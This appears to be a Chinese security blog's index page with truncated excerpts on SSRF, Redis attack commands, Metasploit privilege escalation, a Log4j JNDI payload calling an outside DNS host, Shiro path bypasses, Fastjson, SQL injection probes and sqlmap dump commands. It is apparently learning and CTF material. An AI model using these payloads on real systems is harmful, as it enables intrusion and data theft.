SSRF
众测中发现形如xxx.com/?url=xxx.com,看到一个测一个
CTF中,发现代码:
1234\$ch=curl_init(\$url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); \$result=curl_exec(\$ch);
或存在file_get_content(url)等,考虑ssrf考点看到url作为参数就测就完事了
相关
原理
服务器端所提供的接口中包含了所要请求内容的URL参数,并且未对客户端所传输过来的URL参数进行过滤,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。因此存在SSRF漏洞的服务器通常被作为跳板机来取得外网或内网其它应用服务器的信息。
危害
钓鱼对外网、服务器所在内网、本地进行端口、资产发现读取本地文件配合其它漏洞攻击内网其它机器
常用打配合协议
file: http://xxx.com?url=file:///var/www/html/in ...
redis渗透姿势
redis默认端口: 6379
Redis常用命令:123456789101112131415161718set xz "Hacker" # 设置键xz的值为字符串Hacker get xz # 获取键xz的内容 SET score 857 # 设置键score的值为857 INCR score # 使用INCR命令将score的值增加1 GET score # 获取键score的内容 keys * # 列出当前数据库中所有的键 config set protected-mode no # 关闭安全模式 get anotherkey # 获取一个不存在的键的值 config set dir /root/redis # 设置保存目录 config set d ...
权限提升
Webshell权限JSP权限: root
PHP权限: www(id=1001) / xiaodi-pc/xiaodi
ASP/ASPX权限: nt authority\network service
权限划分Linuxuid=0: root = system
uid=1-999 = administrator
uid= >=1000 服务权限
Windows权限:
system
administrator
usr
guest
等
提权
前提条件: 获得一个低权限shell
工具提权MSF提权获取meterpreter后,执行getuid发现为低权用户,执行background暂时离开session会话,执行
use post/multi/recon/local_exploit_suggester
设置set showdescription true set session session编号,然后run
获取提权建议exploit,再use进行攻击即可
获取不到sess ...
log4j
圈子里有人上传了一个靶场资源,打出多处文件上传,xss,逻辑漏洞后想着有没有更多的洞,于是用awvs扫了一下靶场,发现存在log4j漏洞,于是进行利用,故产生了此文
AWVS漏洞数据包
1234567GET /mall/product?product_name=%24%7Bj%24%7B::-n%7Ddi:dns%24%7B::-:%7D//hitsomefxhewm7ffcc%24%7B::-.%7Dbxss.me%7Dzzzz HTTP/1.1Cookie: JSESSIONID=5FBB32760A76DA6820B3E41F8A43B2AEAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip,deflate,brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4512.0 Safari ...
Shiro漏洞复现
CVE-2010-3863
Shiro < 1.1.0
JSecurity 0.9.X
认证失效
未登录访问/admin将跳转到login.jsp,使用/./admin即可绕过验证
整个过程并没有对路径进行标准化处理(去除路径中的/./、\\以及其他一些特殊符号)导致直接./绕过
CVE-2014-0074/Shiro-460
Shiro < 1.2.3
空白名登录
shiro 550
漏洞利用流程:
漏洞发现fofa: app=”Apache-shiro”cookie:rememberMe
漏洞利用工具准备ysoserial:反序列化漏洞利用工具,有多种利用链,下载链接
shiro.py(检测可用的key)
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788 ...
由CTF引出的py反序列化与JWT
CISCN2019 华北赛区 Day1 Web2 - ikun
技能点:
巧用BP intruder
JWT爆破
python反序列化&脚本编写
巧用BP intruder进入题目链接,注意到banner栏下有一行字:ikun们冲鸭,一定要买到lv6!!!(6)
向下翻找发现都是某站等级的小电视购买链接,翻了几页没有一个lv6的,打开f12查看其他等级的特征,发现lv3等级的小电视链接,存在图片/static/img/lv/lv3.png,其他等级也如此,那对于lv6也应该存在这样的特征翻页过程中发现链接后存在page参数,想到对该参数利用bp-intruder进行爆破,这里我将page字典设为0-1000,在bp的grep-Match中,添加了lv6特征字段,开始爆破发现在page=181处,lv6返回1,访问看到lv6对应链接
py脚本跑lv6:
12345678910import requestsfrom time import *url="http://63ab8612-b1df-4ca2-85e4-e7b7c1900b7c.node3.buuoj. ...
Fastjson 基础知识+多版本复现
漏洞成因Fastjson是一款Java语言制作的速度最快的json处理组件,可将json内容反序列化/序列化为Java对象/json对象.其中,序列化对象将调用对象的getter方法,私有变量将不会调用.反序列化对象将调用对方的setter方法,若反序列化对象的setter方法中存在危险操作且没有 合理的检查,则很有可能被利用同时,反序列化对象的过程中存在目标的抽象类/接口丢失问题,从而导致反序列化无法正常进行,为了解决该问题,fastjson引入autotype字段以声明目标的抽象类或接口(形如@Type:com.xxx ),该字段引入了Java类且没有任何检查 ,让攻击变得有可能
漏洞payload类
以下是几个setter方法中有敏感操作的类
com.sun.rowset
JdbcRowSetlmpl
Templateslmpl
com.sun.org.apache.xalan.internal.xsltc.trax
前置知识JNDI
什么是JNDI?(GPT)
JNDI(Java Naming and Directory Interface ...
蓝初面试
蓝初
蓝队面试题整理面试题总结
SQL注入分类按照注入点分类数字型注入当我们访问页面时经常会出现http:xxx.com?id=1这种形式的url,这个时候我们输入and 1=1与and 1=2,进行判定看是否会出现and 1=1回显正常,and 1=2回显不正常的情况。如果出现了我们一般就认为这里存在注入,并且是数字型注入。如果没有出现那么并不能排查这里没有注入,只是排除这里不存在数字型的注入。
数字型注入还可以利用数字的增减操作进行布尔盲注,避免使用and,or 等敏感词
12id=3-1id=1%2b1
字符型xxx.com?id=1
同样的url,我们输入 ‘ 看是否会出现报错的现象。如果存在我们可以进一步的闭合我们的语句。
123select * from table where id='1'加入’ and 1=1 #select * from table where id='1' and 1=1 # '
搜索型搜索框内会使用这样形式的sql语句进行查询
123 ...
xhcms-报错注入审计
查看页面,发现在url/?r=contact有留言处:
昵称处输入'直接报错,说明存在sql注入,开始审计代码
12345678//index.php<?php //单一入口模式 error_reporting(0); //关闭错误显示 $file=addslashes($_GET['r']); //接收文件名 $action=$file==''?'index':$file; //判断为空或者等于index include('files/'.$action.'.php'); //载入相应文件 ?>
存在r参数且不为空时,包含files/r的值.php文件不存在或为空时,默认调用index.php所以我们访问的就是files/contact.php
跟进contact.php:
12//line143:<form name="form" method="post" action="/?r=su ...
sqlmap使用
参考文章
基本用法
查看sqlmap版本
python sqlmap.py –version(win)/sqlmap –version(kali)
查看简要的帮助信息,参数及含义
python sqlmap.py -h/sqlmap -h
查询高级帮助信息
Python sqlmap.py -hh/sqlmap -hh
复制网址时记得带上注入点例如’?id=1
若参数不为1则带上双引号1”
基础实战
URL
找注入点并检测:
sqlmap –u “链接”
列库显示数据库:
sqlmap –u “链接” –dbs
列表显示表:
sqlmap –u “链接” –D 数据库 –tables
列字段显示表中字段:
sqlmap –u “链接” –D 数据库 –T 表名 –columns
显示字段内容:
sqlmap –u “链接” –D 数据库 –T 表名 –C “字段1 字段2 字段3” –dump
文件
文件中注入点后加”*“号
sqlmap -r txt 文件路径
进阶sqlmap超详细笔记